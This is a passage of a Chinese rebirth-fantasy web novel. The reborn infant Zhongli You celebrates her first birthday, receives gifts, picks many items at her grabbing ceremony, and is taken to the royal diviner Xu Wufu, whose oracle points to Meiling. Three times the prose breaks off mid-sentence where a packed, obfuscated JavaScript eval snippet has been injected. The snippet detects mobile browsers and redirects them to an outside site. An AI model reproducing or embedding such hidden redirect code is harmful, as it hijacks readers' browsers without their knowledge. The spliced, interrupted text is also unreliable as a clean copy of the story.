除了炼药师外,这一日大部分的医师也会出来摆摊免费看病,一些有钱人家也会出资提供一批免费药材给家境略贫寒的人。 不过,对于丹阳的孩子而言,春帝日还有另一个意义,那就是到四象殿去测根骨。 今日就是梅稚雪去测根骨的大日子。 “好了,编好了。”梅烈拿起新鲜出炉的五春绳,系在梅疏晏的手腕上。 梅疏晏摸了摸手腕上的五春绳,抬头说道,“谢谢祖父。” 钟离悠也伸手摸了摸,梅疏晏便伸手摸了摸她的脑袋。 “梅!疏!野!”梅稚雪边大喊边追道,“那是我的青豆糕!” 梅稚雪梅疏野两人没好到一会儿,便又开始追逐赛。 梅疏野边跑边回头看,一个不留神撞到一个软软的东西,抬头一看,老实了。 萧韵扶住梅疏野的肩膀,她身后跟着梅长墨。 “可以走了,马车什么都准备好了。”梅长墨边说边呼噜了一把小儿子的脑袋。 之前已说好,梅烈、萧韵夫妻俩带着三个小孩去四象殿和青帝集会,侯珍在家看着钟离悠。 “等我回来给你带好吃的。”梅稚雪摸摸钟离悠的小脸说道,然后跟着阿娘萧韵走了。 钟离悠咿呀两声。 一行人往家走,钟离悠扒在窗边看。 “阿爹,我要骑大马!”梅疏野突然敞开手臂说道。 梅长墨看了一眼旁边安静的梅疏晏,先弯腰抱起了梅疏野,然后另一只手臂抱起了旁边的梅疏晏。 梅疏晏有些许不好意思地扭了扭身体,最后还是趴在父亲宽厚的肩膀上。 梅长墨颠了颠两个孩子,“你们石头剪刀布,谁赢了谁等会儿就谁先骑。” - 人声渐渐消散,风呼啦一吹,庭前的杏花簌簌落下,钟离悠听见响动后抬头看,她身后虚揽着她的侯珍也抬头看。 漫天的杏花渐渐结成绿黄青涩的小果,原本白花花的杏树变得绿葱葱,九个月大的钟离悠抬头看着大树枝叶透下来的稀碎阳光。 右手腕的五春绳被二哥梅疏野换成了五赤绳,青豆糕淡淡的香气早已淡去,取而代之的是豆沙卷甜糯浓香的气味。 身旁和她一起赏初夏之景的小狐狸突然蹭了蹭她,钟离悠立马继续给它顺毛。 这是阿姐梅稚雪的本命灵兽,七尾白狐,名字叫雪团。 现在还只是一只爱晒太阳、爱被摸头的一阶小狐狸。 “你说,人族这么能想出这么多好吃食物的做法?”白绒球抱着一只豆沙卷猛啃。 钟离悠没理会它,两个兄长去丹阳国学院上课去了,阿姐去了梅氏自己的学堂正式认字习文去了……好无聊啊。 钟离悠倒在榻上,小狐狸立马跟着凑了过来,拱了拱她的脸,钟离悠继续有一搭没一搭地摸着它的脑袋。 梅氏学堂……按年龄来算,梅应微此时也应该进了梅家学堂了吧。 梅应怜和她差不多年纪,现在应该还在家里咿咿呀呀叫着。 她的前未婚夫楚怀瑾应该也进入丹阳国学院了吧。 她已经很久很久没有梦到上辈子的事情了,现下的日子悠长鲜活,有时候恍惚间,她才乍然想起自己是重生而来的,上辈子的事情逐渐变得像是他人的经历,像是她从别人那里听来的一个故事而已。 还是太安逸了,钟离悠想。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283206|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个不满周岁的婴儿,除了安逸待着,还能做些什么呢? 还有三个月,她就满周岁了,那天她就要进王宫了,见到那位神秘的国祝师许无负了。 钟离悠突然有些紧张起来了。 相传许无负万事皆可占,她会占出自己是重生之人吗? “怎么可能?”天道之心白绒球满不在乎的甩了甩自己的小手,“你重生乃是天道之事,怎么可能会被占破。” 钟离悠放下心来,继续看着窗外的天。 绿油油的树叶渐渐熟透,熟成淡淡的浅黄,再是深黄,进而是漂亮的金黄,边缘骤然卷上棕黄痕迹,叶子彻底熟透,从瘦骨嶙峋的树上掉落下来,蜷于泥土里。 深秋。 周岁礼的前夜,钟离悠就是莫名兴奋,体内隐隐躁动,无论如何都睡不着,但一旁燕姑看着她,她只好装睡,意识偷溜进眉间痣的空间里。 空间里依旧在下雨,她待了一会儿,头发衣裳都湿透了,空间还是没有任何变化,她知道这一趟大概又是白来了。 自从她熟练地躲完了金气化作的风刃后,这个空间便下起连绵不断的雨水来,既不同于土气钻进她体内带来的钝痛,也不同于金气攻击而来的锐痛,这雨水就这样不痛不痒、枯燥乏味地下着。 在她的空间里已下完大半个夏秋了。 按照规律,土生金,金生水,没想到生出来的水竟然是这样的。 这雨究竟还要下多久?钟离悠从下往上抹了一把自己的脸,愁道。 这时,一把伞骤然出现在钟离悠的下方,还没等钟离悠惊讶出声,那伞便自觉往上一抬,正是天道之心白绒球。 “你能带伞进来?!”钟离悠惊讶道,“你竟然能带外面的东西进来?” 这话一出,钟离悠突然想起那些被自己忽略的画面,白绒球原来也是带过外面的食物进来过的,譬如那把瓜子。 换另一边撑伞的白绒球也用着看傻子的眼神看着钟离悠,“我之前不一直带过东西进来吗?” 说完,它大大咬了一口手中的烤紫薯。 钟离悠动作自然地从它手中夺过那把油纸伞,给自己撑着,“害,那不是这些食物跟你差不多都浑然一体了,你从哪儿偷来的伞?” 白绒球护着自己的紫薯走进伞面下,挑了钟离悠一块还不算太湿的衣服下摆铺在地上,然后坐在上面,边撕紫薯皮边说道,“你祖母的。” 钟离悠皱眉:“她竟然没有发现吗?” 白绒球哼哼:“我会做赝品。” 钟离悠睁大眼睛,“做赝品?” “当然呐,”白绒球忙打补丁道,“只限于寻常事物。” “这也很棒了。”钟离悠一巴掌拍在白绒球身上,“你能把院子里亭子搬过来吗?” 白绒球:“……” 白绒球跳起来:“我搞这些赝品也是很耗费灵力的!” “你一次运一点嘛,我们可以把这里打造成我们的小天地。”钟离悠越说越心动。 白绒球扭开她的手,“不……” 钟离悠:“我做饭也超好吃!做烧鸡烤鱼更是丹阳一绝!” 白绒球又把身体扭回来,“……那也不是不行。” 两人勉强达成一致,撑着伞在雨下七舌八嘴地商讨了半天要带什么进来,最后白绒球又偷溜出空间拿了纸笔,两人列了个单子,钟离悠也将自己体内莫名的兴奋消磨干净,老老实实地睡去。 15. 周岁 再醒来,钟离悠的年龄终于破零转一了。 钟离悠靠在七尾狐雪团的身上,在哥姐三人的注视下,拆他们给她的周岁生辰礼物。 一边拆一边摸了摸雪团的蓬松大尾巴。 这几个月,雪团也长大了一圈,但灵气阶级依然还是一阶,整天吃了睡睡了吃。 今天它的脖子上还被梅稚雪系了一条喜庆的红绸带。 钟离悠先拆开了阿姐梅稚雪给的礼物,阿姐送了她十张稀有的神兽和凶兽画片。 一旁的梅疏野瞪大了眼睛,用手肘碰了碰梅稚雪,“我生辰的时候你也送我一张呗,我就差那张白虎就集齐了。” 梅稚雪哼哼两声,“看我心情。” 她拿起其中一张,给钟离悠示范道,“就这样拍。” 钟离悠看着手中的画片,质感厚实,画片一面画着栩栩如生的兽图,一面是纯金底,上面写着神兽的名字。神兽的画片背底是金色,凶兽的画片背底为黑色,灵兽类的则是水蓝色。 她非常喜欢这套兽族画片,上辈子就已集齐了所有神兽凶兽和灵兽的画片,没事儿就拍两张,看它们在房间里跑来跑去。 钟离悠拿起一张“蛮蛮”,去拍榻上的“夫诸”,画片被拍翻,一阵白雾打着卷儿从画片背后钻出来,清凉干净的气息扑面而来,一只四角白鹿踩着深蓝水纹不疾不徐地走到他们面前,静静望他们一眼,便向上腾空跳跃三下化雾而去。 一阵雨落下,在碰到他们时,化成淡淡的蓝色水雾,消失不见。 “好玩吗?” 梅稚雪伸手掐了掐钟离悠手感极好的小脸。 “玩!”钟离悠熟练地用着一岁小孩的口吻说道。 她又拍翻一张金底画片,翻开,一束深蓝海浪从画片翻出来,整个房间地面瞬间变成深海,翻滚的海浪在他们中间迅速穿插游走,这时一只花脑袋,白嘴红爪的鸦鸟从海浪中破斩而出。 神鸟精卫。 海浪消失,精卫远走,梅疏野把自己的礼物,一个大木盒,移到钟离悠的面前,“来看看我的。” 梅疏野边说边迫不及待地滑开木盒盖,“铛铛铛,是最新的百人棋。” 一旁的梅疏晏默默替妹妹收好画片。 钟离悠先探头往里看了看,再看着梅疏野兴奋地把城池板和人物棋拿了出来。 梅疏野把榻上其他杂物往外撇了撇,腾出老大一个空位,将城池板展开,土黄色的元素光芒随之绽开,木板一样的东西上面立刻浮现出对立的虚空城池、森林和河流。 钟离悠自然还记得百人棋是什么,也还记得玩法。 百人棋分两方,每一方各持有法者、道者、锻造师、炼药师和御兽师共一百人棋,在己方地盘建立城池的同时,攻占对方的地盘,谁先占据完所有地盘,谁便胜利。 钟离悠上辈子当然也玩过,但她玩的是祖父送她的,她敢肯定不是眼前这一套。 梅疏野握着她的手,抓起一个锻造师棋子,放在已方地盘的城门处,虚空的城池浮影瞬间落实一部分城门在城池盘里。 “好玩吧!”梅疏野放开钟离悠的小手。 还没等钟离悠给他反应,梅疏野又摸摸她的脑袋,遗憾地叹气,“可惜你现在还太小,连字都不认识,只好让我这个当哥哥的先替你收好,等你再长大一些就和你一起玩。” 钟离悠:“……” 看来上辈子她这个二哥也应该是这样“送”她的。 梅疏野已兴致勃勃地摆棋列阵,阿姐梅稚雪也被这新鲜玩意儿引去注意力,两人你一言我一语地商讨着,目前看,哥妹俩应该还能好上一会儿。 钟离悠没再看他们俩,低头去找梅疏晏给她的礼物,却发现,不知什么时候,礼物竟然跑到角落去了。 这什么意思? 钟离悠瞅梅疏晏一眼,给她了却不让她看? 钟离悠自己啪嗒啪嗒爬了过去拿,打开一看,是一副人物会动的活墨画像,画的正是几个月前她还躺摇床里拨弄玩具的场景,笔法稚嫩,不用多猜就知道这幅画出自于阿兄梅疏晏之手。 不过她上辈子没看到过这幅画,是被弄丢了还是被阿兄悄摸拿回去了? “等阿兄以后给你画更好的。” 梅疏晏摸着她的脑袋,有些不太好意思地说道。 钟离悠闻言点头,看来后者的可能性更大,阿兄在意的事情就一定要做到最好。 梅疏野听到他们的对话,半侧身,指着画的落款下的那颗绿油油的豌豆,自豪认领道:“这画龙点睛之笔,正是出自于我手,有了这一笔,这一幅画就是整个九乌大陆最好的画!可当传世之作!” 梅疏晏:“……” 豌豆钟离悠:“……” 钟离悠骤然被人抱起来,她转头一看,是大伯母萧韵。 萧韵见钟离悠清澈水润的眼睛望过来,一时喜欢得不行,用力在她的脸上亲了一口,然后将她放在抓周的席上。 席上铺着赤红锦布,用于抓周的物件摆成一圈,穿着一袭红衣的钟离悠坐在圈里。 钟离悠一一看过这些抓周物品,发现小叔梅长阙今天才寄给她的生辰礼物——手刻木剑也摆在了里面。 自她阿娘阿爹出事以后,小叔梅长阙便代表梅家去往死无葬身地,协助王家处理相关事宜,这个月本该也回来了,路上遇到了些事情耽搁住了,具体是什么事情他也未在信中详说。 但钟离悠却是知道的,小叔梅长阙是碰见了一个疑似的小姑的人,前去探寻才耽搁了路程。 小姑梅昭意和小叔是龙凤胎,小姑比他早出来,是姐姐,两姐弟感情颇好,因此在上辈子,小叔一直在寻找小姑的踪迹。 也因此,小叔梅长阙很少待在家里,但偶尔回来会给她捎许多礼物,譬如牧野国的机关鸟,鲛人海里的大海螺,靠近海螺后还能听到伴着海浪声的鲛人唱歌声。 上辈子她第一次见到小叔是在她没有五行七脉的消息传出去之后。 梅疏野见钟离悠半天不抓一个,只呆呆望着,便拿起代表道修者的木剑挥了一下,“豌豆,看这里!” 这一行为立马被梅疏晏制止,“你让磐磐自己选。” 梅疏野撇嘴,放下木剑,家中兄弟姊妹四人,大哥和梅稚雪都是法修,他自然盼着钟离悠是道修,能跟他做个伴。 下一秒,钟离悠拿起了木剑,梅疏野立刻拍手叫好,“好!不愧是我的好妹妹!” 然而,他就又眼睁睁地看着钟离悠空着的左手抓起了代表法修的树枝棍,然后把木剑和树枝棍都放在自己怀里,又伸手拿起了金元宝和书本。 钟离悠觉得自己一不是货真价实的周岁孩童,二来她自然也记不起上辈子她抓周到底抓了什么,她只好随着目前的心来选喽。 她内心的真实想法便是多多益善嘛,道修来,法修也来,代表财的金元宝当然也要来,书本笔墨也来,代表锻造师的小锤来,代表御兽师的神兽木雕来,代表炼药师的药瓶也来……钟离悠自己趴着转了大半圈,都来都来,多多益善。 最幸运的情况下,她也不过占用这些东西百年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283207|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而已,百年之后她便尘归尘,土归土,不可能绝对拥有这些东西,既然如此,她也不怕天道或是别人觉得她贪心,自然都是要自己体验一下好了。 钟离悠抱着一大堆东西坐在中间,右手紧攥着最后一个抓起来的东西,一个平安绳结。 这样的东西不是抓周礼常备的东西,钟离悠看向祖母祖父,如果上辈子也放有平安绳结的画,她想她一定没有抓到。 她又看向兄姊们,长兄的腿被人废了,阿姊的脸也伤了,二哥的五行七脉被断过,幸好接得及时……后来梅家还被迫搬去了死无葬身地。 钟离悠渐渐松开其他东西,右手仍紧攥着平安绳结,她真的能改变这些吗?仅凭着前世的记忆。 “豌豆,你咋这么三心二意呢?”梅疏野拿起小木剑,往她怀里塞了塞,“选一样就够了嘛。” “我不管,反正选的第一个才作数。” 后边的萧韵和梅长墨对视了一眼,都看出对方眼里的复杂。 侯珍上前一步,将钟离悠抱起来,笑着道:“看来我们家要出个奇才了!” 从某方面来说,祖母这话还真没说错,钟离悠想,这世上只她一人没有五行七脉,这又何尝不是一种“奇”呢? 也挺独一无二的。 钟离悠趴在祖母的肩膀上,眼睛与窗户遥遥相对,天要黑了,今晚还有一件比满周岁让钟离悠更期待的事情,她压住内心的躁动。 快了。 - 丹阳朝歌城,亥时末夜禁。 此时酉时末,夜幕低垂,城内灯火通明,万千悬天灯齐齐升起,大道上人来人往,正处于一天最热闹的时刻。 侯珍和梅烈带着钟离悠上了马车,渐渐驶出曲平坊,被祖父抱着的钟离悠听着马车外的声音逐渐从安静变成热闹噪杂起来。 钟离悠伸伸手,想要去探开窗帘,但胳膊实在太短,梅烈注意到她的小动作,便挑起车帘一角。 视野受限,钟离悠只能看到一排排往前移动着的浅绿屋檐和檐下一溜的方形红灯笼,还有一支与他们马车擦肩而过的白虎商队。 他们头顶上高空暸望塔的人此时也正俯视着他们。 暸望塔里的人看着这辆双马马车驶出青龙大道,驶进蜿蜒向上的麒麟大道。 麒麟大道地势逐渐升高,道路尽头是高高隆起的山坡,坡顶上盘踞着巍峨壮观的丹阳王宫,一轮巨大的明亮澄黄的圆月藏了半个身子在王宫背后。 马车停在王宫宫门口,梅烈与抱着钟离悠的侯珍下了车,车夫候在一旁。 王城兽陆吾跳到梅家马车上,拉车的两头普通骏马受不住九阶灵兽的威压,陆吾东闻闻,西嗅嗅,确定没什么异样后便隐身而去。 禁卫守将把腰牌递还给梅烈,对宫门里另一辆单驾马车做了一个“请”的手势。 梅烈握住钟离悠的小手晃晃,“你们去吧,我在这里等你们。” 侯珍轻颔首,抱着钟离悠走进宫门,上了王宫的马车。 王宫分为内外城,国祝师的祝楼位于王宫外城,单独的一栋楼。 晃悠的马车里。 钟离悠问着白绒球,“你也要跟着我们去国祝楼?” 白绒球撇嘴,“算命又什么好看的。” 说完眼睛又一亮,“我要去看看你们丹阳老大吃什么。” 那是国君,不是……老大。 但钟离悠听到白绒球自己的安排后,放心下来,她不希望白绒球跟着她进去,她希望这是完全私人的。 马车停下。 16. 国祝师 侯珍抱着钟离悠下了马车。 钟离悠看着白绒球的背影一蹦一跳地远走,消失在宫宇间,她收回视线,看向国祝楼。 这是一座再普通不过的宫楼了,宫的楼匾空白无字,周遭也没有任何守卫,活生生的人只有她和祖母。 寂静,无限蔓延的寂静。 这寂静压迫着钟离悠下意识放缓了呼吸。 钟离悠被祖母抱着登上长长的台阶,来到殿门前,她注意到,屋檐下挂着的明灯左右摇摆了两下。 侯珍推开厚重的红木门,长长的吱呀声响起,钟离悠探头望向里面。 里面空荡荡的,什么家具什么摆设都没有,地方颇大,甚至可以说是广阔,约莫能容纳四五百人。 殿内只有灯,照着地上的黑曜石地板更为光可鉴人。 钟离悠又歪头往侯珍走的方向一看,脑袋往后一缩,有点被吓到,殿内还是有东西有“人”的。 大殿左侧方,殿柱的旁边,摆着一张黑木矮桌,桌后跪坐着一个白发白眼白衣的雪白童子。 虽然这童子瞧起来雌雄莫辨,但是钟离悠知道这应该是个女童。 凡巫祝、占卜通灵者皆为女者。 传说女者为女祖创造出来的天地第一生灵,也是几乎按照女祖的模样塑造而出,因而女者最具天地灵气,最能受天地之感应。 雪白童子弯腰行了一礼,起身指着桌上的笔纸道,“侯夫人,请写。” 声音同样也是雄雌莫辩。 钟离悠快速扫了一眼,上面分别写着“问卦者名”,“问卦者生辰”,“所问卦事”。 雪白童子又推了推一旁的竹篮,“令孙可放在这里面。” 侯珍将钟离悠放在竹篮里,然后跪坐在圆垫上,拾笔一一写来—— 问卦者名,钟离悠。 问卦者生辰,九月初三子时三刻。 所问卦事,无五行七脉,缘何?与梅家业劫有关否? 侯珍停笔。 白纸自己卷成一卷,一根如雪白丝线的头发从雪白童子发间飘浮下来,往小纸卷的中段一卷,系住了小纸卷。 小纸卷接着飞进钟离悠的竹篮里。 “侯夫人请在殿门口静等片刻。”雪白童子颔首道。 侯珍起身,安抚地拍了拍钟离悠,转身又回头看了两眼,最终要是推门离开。 钟离悠抓住小纸条,看着高高的天花板,想,然后呢? 进入国祝殿的人可谓屈指可数,她今晚应该能见到国祝师吧? “铛”的清脆一声悠悠响起。 像钟声。 雪白童子原地消失。 又是连接几声高高低低的清脆空灵的声音。 浑然不知雪白童子已消失的钟离悠听出来了,这是敲编钟的声音。 在她看不到的地方,地板啪地消失,她正随着竹篮和矮几无限往下坠落。 但钟离悠本人却没感受到下坠感,她正忙着看着眼前的场景变换。 用于支撑的木头、墙里的砖石……殿内的一切全部拆开分解,旋转重建组合,这是什么空间阵法吗? 待视野彻底清醒,钟离悠发现自己待在一扇厚重高大的青铜大门前,大门嵌于斑驳老旧的石墙里。 大门两侧燃着烛火,照亮了大门上雕刻的内容,各式各样的动物,巫祝师头戴面具祭祀的场景。 面前整个场景像是某类地下坟墓的大门。 一绺墨黑长发从大门中间迅速穿出来,直冲钟离悠,钟离悠下意识捂脸一躲,无事发生。 钟离悠睁眼一看,那捋头发牢牢地缠上了竹篮的把手,带着竹篮向前移动。 青铜大门向内打开,钟离悠被迅速带着进入门内。 门内大厅燃着幽蓝烛火,青铜的装饰物,没有任何摆设,只密密麻麻挂满了各类形状各色的巫傩面具。 没等钟离悠细看,第二扇青铜大门打开,钟离悠来到一个壁画厅,同样没看到两三眼,便被拉进了第三扇大门里。 光线骤然从阴暗变得明亮。 偌大的大殿燃着温暖橙黄烛火,四下里一片通明,大门两边分别放着一架编钟,编钟旁各站着一个挽髻的雪白童子,都穿着淡紫色直裾袍,长相一模一样。 她们身后是一排排书架,每排书架都向上延伸着,一时看不到尽头。 大殿呈现一个圆形状,钟离悠朝圆心位置靠近着,兽形花纹的垂地棕黄纱帘被拉开,头发拽着竹篮进入帘子中。 帘内大殿的上空中高高低低飘浮着各式各样的竹简,每卷竹简系着不同颜色的挂签。 大殿的中央放着一架巨大的兽骨,在烛火照亮下,兽骨泛着淡淡如玉的温润光泽,的头发拉着竹篮往兽骨左边移动,钟离悠也借此看清楚兽骨上的斑驳符号。 可惜的是,她一个也不认识。 竹篮停在兽骨前,墨黑长发放开竹篮提手,卷起钟离悠手中的纸卷,离开不见。 钟离悠躺在竹篮里侧耳听了一会儿,什么动静也没听见。 静悄悄的四周,既让她觉得安分装作一个稚嫩幼儿比较安全,但又让她想爬起来一看究竟。 纠结了一会儿,钟离悠最终还是选择爬了起来,动作间窸窸窣窣的声音响起,让她不禁再度放慢动静。 反正白绒球说过,国祝师也算不出来她是重生的,既然如此,那她就只是一个天生好奇和胆大的普通小孩。 钟离悠探出脑袋,圆溜溜的大眼睛和一双绿豆大的眼睛对上,这是一只深绿色大乌龟,懒洋洋地趴在台阶上。 它会被做成龟甲用来占卜吗? 钟离悠边想边顺着台阶往上,台阶上是张黑木书案,书案背后坐着一个穿着深紫印花拖尾直裾袍的女人。 双眼处系着黑色绸带,雪肤红唇,白的白,艳的艳,乌发梳着高髻,无一点装饰。 这就是传说中的国祝师许无负吗? 她身后是无限向上延伸、呈半圆弧型的书架,长而黝黑的东西密密麻麻爬满了整个书架,就像苍天大树的树根扎满了周遭甚至更远的土地,又像无数粗粗细细的黑蛇爬满了整个书架。 等等等等……钟离悠用力挤了挤眼睛,再睁开眼睛,不是黑树根,也不是黑蛇,而是……钟离悠看向女人脑后露出的发髻,所有黑树根黑蛇都是源自那里,源自发髻后,这是头发,这是她的头发。 系着竹篮的头发也是来自她吧……钟离悠突然又想躺回进竹篮里了。 这时,女人朝她的方向偏了偏头,一绺盘在书架上的头发爬了下来,如蛇般蜿蜒曲折地游向她,钟离悠下意识往后一倒,头发又缠住了竹篮的把手,将竹篮直直往后推去。 钟离悠撑着篮底,费力地直起身,只看到自己离那垂地帘后女人模糊的身影越来越远,第三扇门、第二扇门,第一扇门依次关闭,“铛”的一声轻响,整个空间如镜子般破碎,重组,再一晃,钟离悠再度看见了那光秃秃的天花板。 “这是批语,请您收好。” 雪白童子将用雪丝发系好的纸卷递给侯珍。 侯珍接过道谢。 钟离悠还有点没反应过来,这就占完了?祖母什么时候进来的? 刚刚的一切如幻觉一般,恍眼便过。 “这是给你的。”雪白童子把一个系着铃铛的金黄色锦囊放到钟离悠的小手旁,对着钟离悠说道,“你想知道的答案。” 诶?为什么要跟她一个一岁小孩说? 雪白童子说完,回到矮几后面,低着脑袋,这是送客的意思了。 侯珍先拿起那只锦囊,然后抱起钟离悠,出了国祝殿。 - 栖凤殿内室。 一个病容缱绻的貌美妇人给一旁小床里约四五岁的男童掖了掖被子。然后倚在床沿,看着男童酣睡,时不时轻拍两下。 在她身后桌上的花瓶里,一颗白绒球正躺在瓶口,啃着一块凤凰酥。 一个女官打扮的妇人轻声掀开帘子,悄声走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283208|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了进来,在离床不远的地方站定,微蹲行礼,“王后。” 王后郁妙如看向她。 女官回道,“侯珍老夫人已带着小女郎钟离悠出了国祝殿。” 王后轻颔首。 过了一会儿,她又问,“今天国君还是宿在王夫人那里?” “是。” 这时,一个女侍端着药碗走了进来,轻声道,“娘娘,该喝药了。” 王后轻轻蹙眉,没用勺子,端起碗一口喝尽,用帕子擦擦嘴角,放回药盘里,摆摆手,“你们都先下去吧”。 “是。” 王后静静看着自己的孩子,思索着,今天是钟离悠的周岁礼,本该赐下份贺礼,但梅家并未向外声张,梅家夫妻俩丧事也还未过一年,倒不太好送。 还是等到她五岁测根骨后,再送上贺礼较为妥当。 郁妙如摸摸儿子的小脸,她身体不好,修为也并不高,也不像王夫人那样有一个靠得住的娘家,既然如此,她就只能给自己找一个还不错的亲家。 梅家人护短,家里氛围更是丹阳各大臣家中难得的好。 她原本考虑的是梅家长孙女梅稚雪,她和怀瑾年纪也相仿,但这下又来了个钟离悠。 若是钟离悠父母还在,她未必会考虑钟离悠,她担心国君会因此起忌惮之心,但现在钟离悠父母双亡,是个孤女……况且她还姓钟离。 东隅钟离家,以后怀瑾也势必要去东隅学院的。 不过不知道为何侯珍要请国祝师给钟离悠相面占卜,难道是有何不妥之处吗? 郁妙如思量着。 白绒球啃完凤凰酥,跳下花瓶,蹦到床上,照例看了看楚怀瑾,然后跳下床离开, - 马车上。 梅烈抱着钟离悠,“怎么样?” 侯珍摊开手掌,露出纸卷和锦囊,“给了两样东西,回家再说。” 钟离悠伸手碰了碰锦囊,梅烈抓住她的手,“乖,不要碰。” 侯珍把锦囊塞到她手里,“国祝殿的人说是给她的。” 钟离悠先假装小孩晃了晃铃铛,清脆的铃铛声响起,再打开锦囊,结果没有打开。 她以为是自己力气不够的问题,喊着“开”“开”,塞到梅烈的手里。 梅烈接过一开,竟然没扯开开口,他和侯珍对视一眼,又用力,依旧没打开,侯珍接过,双手用力,锦囊开口依旧纹丝不动。 “看来需要时机。” 梅烈小声道,“故作玄虚。” 立马被侯珍瞪了一眼。 钟离悠看着那只锦囊,还在想,雪白童子那番话到底是说给谁的? 这次算命,她本盼着的是听到许无负对她人生的解读,最好能详细点告诉她到底要做些什么事情?她又有什么天赋? - 国祝楼,青铜大殿内。 一绺长发从书柜上垂下来,将书案上以“钟离悠”为名的竹简直接捞起,和其他竹简一样,放在大殿的上空。 大殿上空霎时泛起淡淡的金色波纹。 书案两侧坐着的两个雪白童子都仰着脑袋看,又同时低头。 右边的那个问,“女郎,为何这个不挂上彩签。” 彩签为卜卦者的标记,当卜卦者应卦时,彩签会哗啦哗啦作响,为何钟离悠独独无彩签? 她侧头看着女郎,女郎此刻没系遮眼的绸带,露出空空无物的双眼。 国祝师许无负闻言笑笑,“龟甲裂而复合,剑破而重铸,梅枯而又生。” 两个雪白童子都茫然眨眨眼。 “此命,我推演过。” “怎么会?”右边的一脸震惊,“此命格之人当是今日第一次来。” “那便该是上辈子推演过吧。”许无负轻声道。 “上辈子?!” “上辈子?!” 许无负微笑不语。 重生之人,命无可占,自然无卦,也无需挂上彩签了。 17. 三岁 “你确定她不会看出我是重生的?” 回到自己小床里的钟离悠问着站在床脚的白绒球。 “放心放心啦,不会的!” 钟离悠却莫名还是放心不了,“算了,你先帮我去看看那个批语上写了什么。” 白绒球撇嘴,装作不情不愿地下了床,蹦蹦跳跳地走向外面厅堂。 它其实也有些好奇,不然的话,它定然还要提出一些条件,它可不能让钟离悠认为它是随便能给她指使的。 侯珍扯开雪发线,展开纸卷,白绒球就在这个时候跳上她的肩膀,眼睛一盯,盯到内容,皱眉咂嘴,有点没意思啊。 它跳下侯珍的肩膀,跑回内室里。 侯珍对着纸条,沉吟片刻,将纸条递给梅烈。 梅烈接过一看,共三句话—— “应劫之人。” “劫指梅岭。” “解铃还须系铃人。” 钟离悠一个起身,“梅岭?” “你确定你没看错?” 白绒球耸肩,“不信你自己去看。” “你说这个劫和我没有五行七脉有关吗?”钟离悠问。 白绒球:“不知道。” 钟离悠思忖,或许得想办法去一趟梅岭了,就当祖地重游,虽然无主之地不是那么好去的。 而且批语上没说会不会有致命危险啊,到底是该去?还是该绕着梅岭走呢? “我会派人去无主之地附近看看。”侯珍说道。 梅烈静静看着手中的纸条消失,“梅岭已隐于无主之地多年,去的话风险较大,况且这批语或许就是提醒我们要远离梅岭呢?” 侯珍看他一眼,温声道,“那句‘解铃还需系铃人’是被你吃了吗?” 梅烈一噎,“如果真按她这样所说,难道你还真的让磐磐去无主之地?” 侯珍沉默。 梅烈:“我还以为这国祝师能给解决磐磐五行七脉指一条明路。” 侯珍:“人家是算命相面占卜的祝师,不是你的智多星。” 梅烈嘟嚷:“如果这样的话,还不如把磐磐送去东隅,至少还能躲过两年后的测根骨。” 测根骨的时候,四象殿里人数众多,人多就易口杂,况且到时测根骨的结果还会呈报给王宫里。 待那个时候,磐磐没有五行七脉至少也会在丹阳传开。 “你难道能藏她一辈子吗?”侯珍问。 梅烈不语。 “既然你没有办法藏她一辈子,那她就得知道,就得认。”侯珍说到最后声音放得极轻,认了才能想接下来 梅烈看向内室,无论如何,他还是希望那一天,她发现自己与其他人都不同的那一天,能够慢一点来。 那一天,不论是期盼的那一天,还是希望它永不会到来的那一天,总是不疾不徐地到来,不快也不慢,只是掐着点来,让人心生恼意。 两年时光对于大人而言,不过弹指一挥间。 对于钟离悠而言,身处日子当中时,略显漫长,回头一看时,略显匆匆。 两年也不过是收到两次生辰礼物,系在手腕上的五春绳一直换到五土绳,再轮回一遍,叶子绿了再枯,枯了再绿时,便又是一年春帝日。 今天对梅家人而言又是另一个特殊日子,家里最小的人,钟离悠测根骨的日子。 这一天,钟离悠意外醒得很早,天才蒙蒙亮,她便自然醒了。 还没到她平日起床的时间,躺在床上无事可做,她干脆进了空间里面。 空间里,溪水潺潺,林木葱茏。 在一岁那年的某个夏日,钟离悠正缩在白绒球搬进空间里的凉亭里,和它一起烤鱼,还备了两罐椰子竹筒汁。 就在撒最后一次佐料时,天降洪水。 两条香喷喷的烤鱼、两罐椰子竹筒汁、三碟凤凰卷,凉亭、雨伞,用于消遣的话本,当然还有钟离悠和白绒球……一切都被滚滚洪水裹挟而去。 钟离悠挣扎着探出头,被一巨浪拍了下去,探头,拍下去……直到被拍出空间。 